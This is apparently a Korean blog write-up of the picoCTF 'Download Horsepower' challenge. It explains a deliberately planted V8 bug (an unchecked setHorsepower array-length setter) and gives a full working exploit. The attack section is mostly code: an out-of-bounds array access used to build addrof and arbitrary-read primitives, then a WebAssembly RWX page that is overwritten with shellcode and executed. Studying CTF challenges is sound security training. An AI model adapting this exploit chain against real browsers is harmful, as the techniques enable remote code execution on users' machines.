[Browser Exploitation] picoCTF - Download Horsepower
공부용/Browser Exploitation

[Browser Exploitation] picoCTF - Download Horsepower

🧡 Explaination

d8, source, server.py가 주어진다. server.py는 Kit Engine 문제와 동일하다.

 

🧡 Function Explaination

setHorsepower 함수가 추가되었다. 내부에 추가된 tq는 ArraySetHorsepower인데, setHorsepower 함수를 부르면 이 부분이 호출된다.

diff --git a/src/builtins/array-horsepower.tq b/src/builtins/array-horsepower.tq
new file mode 100644
index 0000000000..7ea53ca306
--- /dev/null
+++ b/src/builtins/array-horsepower.tq
@@ -0,0 +1,17 @@
+// Gotta go fast!!
+
+namespace array {
+
+transitioning javascript builtin
+ArraySetHorsepower(
+  js-implicit context: NativeContext, receiver: JSAny)(horsepower: JSAny): JSAny {
+    try {
+      const h: Smi = Cast<Smi>(horsepower) otherwise End;
+      const a: JSArray = Cast<JSArray>(receiver) otherwise End;
+      a.SetLength(h);
+    } label End {
+        Print("Improper attempt to set horsepower");
+    }
+    return receiver;
+}
+}

diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index ce3886e87e..6621a79618 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1754,6 +1754,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
     JSObject::AddProperty(isolate_, proto, factory->constructor_string(),
                           array_function, DONT_ENUM);
 
+    SimpleInstallFunction(isolate_, proto, "setHorsepower",
+                          Builtins::kArraySetHorsepower, 1, false);

diff --git a/src/objects/js-array.tq b/src/objects/js-array.tq
index b18f5bafac..b466b330cd 100644
--- a/src/objects/js-array.tq
+++ b/src/objects/js-array.tq
@@ -28,6 +28,9 @@ extern class JSArray extends JSObject {
   macro IsEmpty(): bool {
     return this.length == 0;
   }
+  macro SetLength(l: Smi) {
+    this.length = l;
+  }
   length: Number;
 }

 

🧡 Attack Vector

취약점은 ArraySetHorsepower 내부에 있는 SetLength 함수에서 발생한다. Setlength 함수는 매크로로 정의되어 있는데, Smi 인자 하나를 받아 this에 해당하는 JSArray의 length 값을 내가 넘긴 인자로 바꿀 수 있다. 인자값에 대한 검증이 없기 때문에 Out-of-Bound 취약점이 발생한다. v8 에서는 기본적으로 JSArray Index에 대해서 값 검증을 수행한다. 원래라면 아래 출력된 것 처럼 undefined 라는 결과가 나와야 하지만..

d8> var buf = [1,2,3,4];
undefined
d8> print(buf[10]);
undefined
undefined

JSArray의 length 값을 바꿔주면 다음과 같이 memory leak이 발생한다.

%DebugPrint(buf);
DebugPrint: 0x2ac808084ebd: [JSArray]
 - map: 0x2ac808243951 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x2ac80820ab61 <JSArray[0]>
 - elements: 0x2ac808210c55 <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 2048
 
d8> print(buf[10]);
3
undefined

이를 이용해서 익스플로잇 시나리오를 구성하면 된다.

 

🧡 How to Exploit?

위에서 말했다시피 Out-of-Bound 취약점을 이용해 AAR을 구현하고, rwx 공간에 쉘코드를 올려 실행하는 방법을 선택할 것이다.

 

먼저, 원하는 객체의 주소를 leak 해주는 함수인 addrof를 구현한다. obj_addr[0]에 custom_obj를 넣고, float_arr[12]에 접근하면, 내가 넣은 객체 값의 주소를 얻을 수 있다. 참고로, offset은 선언한 객체의 크기마다 다르니 주의하자.

var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj = {"A": 1};
var obj_addr = [obj];
var implement_arr = [13.37, 13.37, 13.37, 13.37];

float_arr.setHorsepower(300);

function addrof(custom_obj) {
        obj_addr[0] = custom_obj;
        return ftoi(float_arr[12]) >> 32n;
}

다음은, AAR을 구현한다. float_arr[21]에는 implement_arr의 length와 elements pointer 정보가 들어가있다. length는 그대로 유지하고, elements pointer에 해당하는 값을 우리가 원하는 주소 - 8로 바꿔주면 implement_arr의 elements pointer가 변경되므로 AAR이 가능해진다.

function aar(addr) {
        if(addr % 2n == 0)
                addr += 1n;
        var size = ftoi(float_arr[21]) & 0xf00000000n;
        var fake_addr = addr-0x8n;
        float_arr[21] = itof(size + fake_addr);
        return implement_arr[0];
}

마지막으로 Dataview를 이용해 rwx page에 쉘코드를 올리는 함수를 구현한다. WASM을 이용해 rwx page를 만들고, OOB를 이용해 ArrayBuffer의 backing store을 rwx address로 바꾸면 쉘코드가 올라가게 된다.

function copy_shellcode(addr, shellcode) {
        let buffer = new ArrayBuffer(0x100);
        console.log("buffer: 0x" + addrof(buffer).toString(16))
        let dataview = new DataView(buffer);

        float_arr[288] = addr;
        //%DebugPrint(buffer);

        for(let i=0; i<shellcode.length; i++)
                dataview.setUint32(i*4, shellcode[i], true);
}

let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;

var rwx_page_addr = aar(addrof(wasm_instance)+0x68n-1n);
var custom_shellcode = [0x0cfe016a, 0x2fb84824, 0x2f6e6962, 0x50746163, 0x68e78948, 0x7478742e, 0x0101b848, 0x01010101, 0x48500101, 0x756062b8, 0x606d6701, 0x04314866, 0x56f63124, 0x485e0c6a, 0x6a56e601, 0x01485e10, 0x894856e6, 0x6ad231e6, 0x050f583b];
console.log("rwx_page_addr: 0x" + ftoi(rwx_page_addr).toString(16));
console.log("wasm_instance: 0x" + addrof(wasm_instance).toString(16));
copy_shellcode(rwx_page_addr, custom_shellcode);

f();

 

🧡 Full Exploitation Code

var buf = new ArrayBuffer(8);
var u64_buf = new Uint32Array(buf);
var f64_buf = new Float64Array(buf);

var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj = {"A": 1};
var obj_addr = [obj];
var implement_arr = [13.37, 13.37, 13.37, 13.37];

function itof(val) {
	u64_buf[0] = Number(BigInt(val) & 0xffffffffn);
	u64_buf[1] = Number(BigInt(val) >> 32n);
	return f64_buf[0];
}

function ftoi(val) {
	f64_buf[0] = val;
	return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

float_arr.setHorsepower(300);

function addrof(custom_obj) {
	obj_addr[0] = custom_obj;
	return ftoi(float_arr[12]) >> 32n;
}

function aar(addr) {
	if(addr % 2n == 0)
		addr += 1n;
	var size = ftoi(float_arr[21]) & 0xf00000000n;
	var fake_addr = addr-0x8n;
	float_arr[21] = itof(size + fake_addr);
	return implement_arr[0];
}

function copy_shellcode(addr, shellcode) {
	let buffer = new ArrayBuffer(0x100);
	console.log("buffer: 0x" + addrof(buffer).toString(16))
	let dataview = new DataView(buffer);
	
	float_arr[288] = addr;
	//%DebugPrint(buffer);

	for(let i=0; i<shellcode.length; i++)
		dataview.setUint32(i*4, shellcode[i], true);
}

let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;

var rwx_page_addr = aar(addrof(wasm_instance)+0x68n-1n);
var custom_shellcode = [0x0cfe016a, 0x2fb84824, 0x2f6e6962, 0x50746163, 0x68e78948, 0x7478742e, 0x0101b848, 0x01010101, 0x48500101, 0x756062b8, 0x606d6701, 0x04314866, 0x56f63124, 0x485e0c6a, 0x6a56e601, 0x01485e10, 0x894856e6, 0x6ad231e6, 0x050f583b];
console.log("rwx_page_addr: 0x" + ftoi(rwx_page_addr).toString(16));
console.log("wasm_instance: 0x" + addrof(wasm_instance).toString(16));
copy_shellcode(rwx_page_addr, custom_shellcode);

f();